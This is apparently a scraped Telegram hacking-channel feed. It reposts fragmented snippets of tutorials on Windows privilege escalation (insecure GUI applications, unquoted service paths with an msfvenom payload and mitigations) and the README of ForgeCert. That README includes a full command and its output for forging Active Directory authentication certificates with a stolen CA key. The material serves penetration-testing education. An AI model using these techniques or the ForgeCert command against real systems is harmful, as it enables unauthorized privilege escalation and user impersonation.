Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: Insecure GUI Application

IntroductionIn the series of Privilege escalation, till now we have learned that Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Today through applications we are going to exploit the privileges .Many GUI applications need the higher privileges other than the current user have, to access some of its particular services. Secondly, just due to misconfiguration of application. Let’s deep dive into it.Table of Content· IntroductionPrerequisites:Machine A-Window 10 (Ignite as admin user)Lab Setup of Insecure GUI ApplicationMachine A, has ignite as an admin user. Whoami /privWe have to understand that if any user has admin access even though that user does not have full or higher privileges.Abusing Insecure GUI ApplicationAfter enumerate some time on windows applications, we found that Notepad++ application has a feature that allow us to open file, short key to open file is CTRL+O or by navigate to option File then go to open.Note: In lab set up we had alread[...]

___________________________
@hacking_Attack
@Hacking_Video

Blogspot

Windows Privilege Escalation: Insecure GUI Application

Hacking Articles is a very interesting blog about information security, penetration testing and vulnerability assessment managed by Raj Chandel.

4 viewsedited 20:41

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: Unquoted Service Path

Unquoted Path or Unquoted Service path is reported as a critical vulnerability in Windows, such vulnerability allows an attacker to escalate the privilege for NT AUTHORITY/SYSTEM for a low-level privilege user account.

Table of Content· Introduction Unquoted Service PathIf the path to the service binary is not enclosed in quotes and contains white spaces, the name of a loophole for an installed service is Service Unquoted Path. As a result, a local user will be able to elevate the privilege to administrator privilege shell by placing an executable in a higher level directory within the path.Mitre ID:T1574.009Tactics:Privilege Escalation & Persistence Platforms:WindowsTarget Machine:Windows 10Attacker Machine:Kali LinuxTools: SubinACL, PowerUP.ps1, Winpeas.Condition:Compromise the target machine with low privilege access either using Metasploit or Netcat, etc. Objective:Escalate the NT Authority /SYSTEM privileges for a low privileged user by exploiting unquoted path Vulnerability.Steps to Setup Vulnerable EnvironmentCreate a new folder and Sub Folder and named it “Ignite Data” & “Vuln Service” respectively Step2:Create vulnerable service with name file.exeStep3:Grant writeable for BUILTIN\Users on Ignite Data folder with the help of icacls*icaclsare Microsoft Windows native command-line programmes that can display and modify permissions on directories and files.https://blogger.googleusercontent.com/img/a/AVvXsEgi7vvII1haOA4-I4LUR4_o1IjspA7iVGWeFCZPwj8GM4YEXKhPOeRy7SULa6Ld7oc3MmrD7LxIK07GP9Zv_aNXclaXwFqjoTHFlYTiz5jm6LnEShc5p6SLkWA7b8B3iOkBg5Is7A81CAIrmAVHrRb61HNgWjxTzMWCLfNNSqr0D5I5LNM3Xnnn0mo4SA=s16000 Step4:To create a vulnerable service we need to assign[...]

___________________________
@hacking_Attack
@Hacking_Video

Blogspot

Windows Privilege Escalation: Unquoted Service Path

Hacking Articles is a very interesting blog about information security, penetration testing and vulnerability assessment managed by Raj Chandel.

4 viewsedited 20:41

Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles|Raj Chandel's Blog Windows Privilege Escalation: Insecure GUI Application IntroductionIn the series of Privilege escalation, till now we have learned that Microsoft Windows offers a wide range of fine-grained permissions and privileges for…

y granted the permission to run as administrator, whenever we execute the Notepad++.___________________________
@hacking_Attack
@Hacking_Video

3 viewsedited 20:41

Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles|Raj Chandel's Blog Windows Privilege Escalation: Unquoted Service Path Unquoted Path or Unquoted Service path is reported as a critical vulnerability in Windows, such vulnerability allows an attacker to escalate the privilege for NT AUTHORITY/SYSTEM…

some toxic privilege with the help of SubinACL to change the permission of services. NOTE:SubInACL is a little-known command-line tool from Microsoft, yet it is one of the best tools to work with security permissions in Windows. This tool is capable of changing the permissions of files, folders, registry keys, services, printers, cluster shares and various other types of objects.In this case, we have granted a user permissions to suspend (pause/continue), start and stop (restart) a service. The full list of the available service permissions:Step5:After Download SubinACL, execute the following command to assign PTOC Permissions user “ignite” against “Pentest” service.Abusing Unquoted Service PathsAbusing unquoted service is a technique that exploits insecure file permission in order to escalated privileges for local users. Download the PowerUp.ps1 script inside Kali Linux which will return the name and binary path for services with unquoted paths that also have a space in the name.___________________________
@hacking_Attack
@Hacking_Video

4 viewsedited 20:41

Hacking Articles Tips Tricks Videos Tutorials

some toxic privilege with the help of SubinACL to change the permission of services. NOTE:SubInACL is a little-known command-line tool from Microsoft, yet it is one of the best tools to work with security permissions in Windows. This tool is capable of changing…

OCV2sZ9nBGKsf5ENQQ=s16000 It’s time to exploit the weak configured services against unquoted paths in order to privilege for user Shreya. As we know unquoted folder name is Vuln Service thus we will create a file with the name Vuln.exe with the help of msfvenom. Vuln.exeMitigation Ensure that any services that contain a space in the path enclose the path in quotes. Restrict File and Directory Permissions:Restrict access by setting directory and file permissions that are not specific to users or privileged accountsExecution Prevention:Block execution of code on a system through application control, and/or script blocking.

___________________________
@hacking_Attack
@Hacking_Video

4 viewsedited 20:41

Hacking Articles Tips Tricks Videos Tutorials

4 views20:49

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking Articles
Windows Privilege Escalation: Insecure GUI Application

Introduction In the series of Privilege escalation, till now we have learned that Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Today through applications we are going to exploit the privileges. Many GUI applications need

The post Windows Privilege Escalation: Insecure GUI Application appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles

Windows Privilege Escalation: Insecure GUI Application

Learn how to exploit insecure GUI applications for Windows privilege escalation and gain admin access through misconfigured applications.

5 viewsedited 20:49

Hacking Articles Tips Tricks Videos Tutorials

6 views20:49

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking Articles
Windows Privilege Escalation: Unquoted Service Path

Unquoted Path or Unquoted Service path is reported as a critical vulnerability in Windows, such vulnerability allows an attacker to escalate the privilege for NT AUTHORITY/SYSTEM for a low-level privilege user account. Table of Content Introduction Vulnerability Insight Prerequisite Lab Setup Abusing Unquoted Service Paths Mitigation Introduction Unquoted Service Path

The post Windows Privilege Escalation: Unquoted Service Path appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles

Windows Privilege Escalation: Unquoted Service Path

Learn how to exploit the Unquoted Service Path vulnerability in Windows for privilege escalation and mitigate its risks.

10 viewsedited 20:49

Hacking Articles Tips Tricks Videos Tutorials

ForgeCert - "Golden" Certificates
http://www.kitploit.com/2021/10/forgecert-golden-certificates.html

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Kitploit – Maintenance in Progress

Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.

8 viewsedited 21:09

Hacking Articles Tips Tricks Videos Tutorials

8 views21:09

Hacking Articles Tips Tricks Videos Tutorials

ForgeCert uses the BouncyCastle C# API (https://www.bouncycastle.org/csharp/index.html) and a stolen Certificate Authority (CA) certificate + private key to forge certificates for arbitrary users capable of authentication (https://www.kitploit.com/search/label/Authentication) to Active Directory. This attack is codified as DPERSIST1 in our "Certified Pre-Owned" whitepaper (https://specterops.io/assets/resources/Certified_Pre-Owned.pdf). This code base was released ~45 days after the whitepaper was published. @tifkin_ (https://twitter.com/tifkin_) is the primary author of ForgeCert. @tifkin_ (https://twitter.com/tifkin_) and @harmj0y (https://twitter.com/harmj0y) are the primary authors of the associated Active Directory Certificate (https://www.kitploit.com/search/label/Active%20Directory%20Certificate) Service research (blog (https://posts.specterops.io/certified-pre-owned-d95910965cd2) and whitepaper (https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)).
Background
As described in the Background and Forging Certificates (https://www.kitploit.com/search/label/Certificates) with Stolen CA Certificates - DPERSIST1 sections of our whitepaper (https://specterops.io/assets/resources/Certified_Pre-Owned.pdf), the private key for a Certificate Authority's CA certificate is protected on the CA server either via DPAPI or hardware (HSM/TPM). Additionally, the certificate (sans private key) is published to the NTAuthCertificates forest object, which defines CA certificates that enable authentication to AD. Put together, a CA whose certificate is present in NTAuthCertificates uses its private key to sign certificate signing requests (CSRs) from requesting clients. This graphic summarizes the process:

___________________________
@hacking_Attack
@Hacking_Video

Bouncycastle

Download Bouncy Castle C# .NET - Bouncycastle

Download our Bouncy Castle C# .NET APIs through NuGet, GitHub, or our website for a comprehensive and flexible set of cryptographic functions.

8 viewsedited 21:09

Hacking Articles Tips Tricks Videos Tutorials

3 views21:09

Hacking Articles Tips Tricks Videos Tutorials

Command Line Usage
ForgeCert.exe ForgeCert 1.0.0.0 Copyright c 2021 ERROR(S): Required option 'CaCertPath' is missing. Required option 'SubjectAltName' is missing. Required option 'NewCertPath' is missing. Required option 'NewCertPassword' is missing. --CaCertPath Required. CA private key as a .pfx or .p12 file --CaCertPassword Password to the CA private key file --Subject (Default: CN=User) Subject name in the certificate --SubjectAltName Required. UPN of the user to authenticate as --NewCertPath Required. Path where to save the new .pfx certificate --NewCertPassword Required. Password to the .pfx file --CRL ldap path to a CRL for the forged certificate --help Display this help screen. --version Display version information. ">C:\Temp>ForgeCert.exe
ForgeCert 1.0.0.0
Copyright c 2021

ERROR(S):
Required option 'CaCertPath' is missing.
Required option 'SubjectAltName' is missing.
Required option 'NewCertPath' is missing.
Required option 'NewCertPassword' is missing.

--CaCertPath Required. CA private key as a .pfx or .p12 file

--CaCertPassword Password to the CA private key file

--Subject (Default: CN=User) Subject name in the certificate

--SubjectAltName Required. UPN of the user to authenticate as

--NewCertPath Required. Path where to save the new .pfx certificate

--NewCertPassword Required. Password to the .pfx file

--CRL ldap path to a CRL for the forged certificate

--help Display this help screen.

--version Display version information.

Usage
Note: for a complete walkthrough of stealing a CA private key and forging auth certs, see DPERSIST1 in the whitepaper (https://specterops.io/assets/resources/Certified_Pre-Owned.pdf). Context: The stolen CA's certificate is ca.pfx, encrypted with a password of Password123! The subject is arbitrary since we're specifying a subject alternative name for the certificate. The subject alternative name (i.e., the user we're forging a certificate for), is localadmin@theshire.local. The forged certificate will be saved as localadmin.pfx, encrypted with the password NewPassword123! ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "localadmin@theshire.local" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!" CA Certificate Information: Subject: CN=theshire-DC-CA, DC=theshire, DC=local Issuer: CN=theshire-DC-CA, DC=theshire, DC=local Start Date: 1/4/2021 10:48:02 AM End Date: 1/4/2026 10:58:02 AM Thumbprint: 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2 Serial: 14BFC25F2B6EEDA94404D5A5B0F33E21 Forged Certificate Information: Subject: CN=User SubjectAltName: localadmin@theshire.local Issuer: CN=theshire-DC-CA, DC=theshire, DC=local Start Date: 7/26/2021 3:38:45 PM End Date: 7/26/2022 3:38:45 PM Thumbprint: C5789A24E91A40819EFF7CFD77150595F8B9878D Serial: 3627A48F90F6869C3215FF05BC3B2E42 Done. Saved forged certificate to localadmin.pfx with the password 'NewPassword123!' ">C:\Tools\ForgeCert>ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "localadmin@theshire.local" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!"
CA Certificate Information:
Subject: CN=theshire-DC-CA, DC=theshire, DC=local
Issuer: CN=theshire-DC-CA, DC=theshire, DC=local
Start Date: 1/4/2021 10:48:02 AM
End Date: 1/4/2026 10:58:02 AM
Thumbprint: 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
Serial: 14BFC25F2B6EEDA94404D5A5B0F33E21

Forged Certificate Information:
Subject: CN=User
SubjectAltName: localadmin@theshire.local

___________________________
@hacking_Attack
@Hacking_Video

6 viewsedited 21:09

About

Blog

Apps

Platform